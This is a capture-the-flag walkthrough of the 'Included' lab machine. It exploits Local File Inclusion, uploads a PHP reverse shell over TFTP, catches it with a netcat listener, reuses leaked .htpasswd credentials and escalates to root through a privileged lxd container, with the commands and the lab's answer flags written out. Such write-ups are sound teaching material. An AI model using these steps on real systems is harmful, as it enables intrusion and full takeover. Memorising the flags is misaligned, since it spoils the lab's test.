Included (Tier 2)
Description
Tier -> 2
Difficult -> Very Easy
OS -> Linux
Tags -> PHP / Custom Applications / Protocols / Apache / TFTP / LXD / Reconnaissance / Local File Inclusion / Clear Text Credentials / Arbitrary File Upload
Write-up
I started doing an initial scan using Nmap
nmap 10.129.156.215 -p- -Pn --min-rate 2500 -oN scan.txt
With this, I answered the first questions
Answer: 22,6789,8080,8443
Then to learn more about the service running in the open port, I did an exhaustive scan
nmap 10.129.156.215 -p80 -sVC -oN serv_scan.txt
As I found an HTTP service running on port 80, I went to the browser to explore the content being deployed. I found a simple page for a business with anything relevant. What caught my attention was that the URL was retrieving the file of the page with a query, and maybe this could be vulnerable to a Local File Inclusion attack
To learn more about the HTTP protocol you can go here
So I tried to change the file name to a route of a file from the system, in this case, the well-known /etc/password file, and noticed it let me see the content of this file, being, in fact, vulnerable to Local File Inclusion as I thought. Also checking the information from the file, I saw that in the system existed a profile named tftp which is the default for the TFTP protocol, also giving me the route to the folder where its configuration files should be
To learn more about Local File Inclusion exploitation you can go here
So, to confirm the system was using this protocol, I did a scan on the UDP ports of the system as this protocol usually works over UDP, and our previous scan didn't detect the service. With this, I found that the protocol was being used under its default port, the UDP port 69
nmap 10.129.156.215 -sU -oN UDP_scan.txt
With this, we answered the first questions
Answer: tftp
Answer: Local File Inclusion
Answer: /var/lib/tftpboot/
Knowing this, I tried connecting to the protocol and submitting a reverse shell script for PHP as this protocol doesn't let me list shared files, just download them or upload them. As it didn't give us any error we closed the connection assuming the file was on the server
tftp 10.129.156.215
tftp> put PHPshell.php
tftp> quit
To learn more about the TFTP protocol you can go here
Then, I set up a Netcat listener to be aware of the connection and called the script from the previously found folder where TFTP was storing its files. After hitting the direction, I noticed the page kept loading and I had successfully caught a shell from the target. Then, I sanitized the terminal to work more comfortably with it
nc -nvlp 4444
As I gained access as the user from the web server, I had to find a way to make lateral movement to another user on the system with less restricted actions. First, I went to explore the default folder for servers /var/www/html, and looking at the hidden files found the .htaccess and .htpasswd files, which are related to the server configuration and usually store sensitive information
To learn more about the abuse of exposed .htaccess or .hthtpasswd files, you can go here
With this, I answered the next question
Answer: .htpasswd
So checking the content of the .htpasswd file, I found the credentials for the mike user were being leaked, and after trying to change to this user using them, I successfully logged in. Then, I went to its /home folder where I found a user.txt file, and reading it, retrieved the user flag
I needed to find a way to escalate privileges so I tried to check the
sudopermissions for the user but didn't have any. After checking some information like local running services, and special permissions on files, the only relevant thing I found was that the user was part of the lxd group. So, with a little research, I understood the use of lxd as a tool for creating containers of operating systems. So, I checked if this tool was installed on the system and it was
With this, I answered the next question
Answer: lxd
With this information, I searched for possible exploits of this tool and found an interesting article with a guide to do it. So, following the guide, I got an image for the Alpine operating system and mounted a server to pass it from our machine to the target host. Then, I downloaded it and checked that it was on the target
# On our machine
wget https://github.com/saghul/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz
python3 -m http.server 1234
#On the target machine
wget http://10.10.14.117:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz
To learn the complete process for the privilege escalation abusing lxd you can go here
With this, I answered the next question
Answer: Alpine
After this, I imported the image, and created a container using it, specifying high privileges and mounting the filesystem of the target inside it. Then, I started the container to interact with it
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path /mnt recursive=true
lxc start pwned
With this, I answered the next question
Answer: security.privileged=true
With all this created, I generated a shell from the container having now access as the root user to the complete filesystem. By last, I went to the mount point on the /mnt/root folder where I found a root.txt file, and reading its content retrieved the root flag
lxc exec pwned /bin/sh
With this and the previously found user flag, I answered the last questions
Answer: /mnt/root/
Answer: a56ef91d70cfbf2cdb8f454c006935a1
And finally, I got the root flag and pwned the machine
Answer: c693d9c7499d9f572ee375d4c14c7bcf
Last updated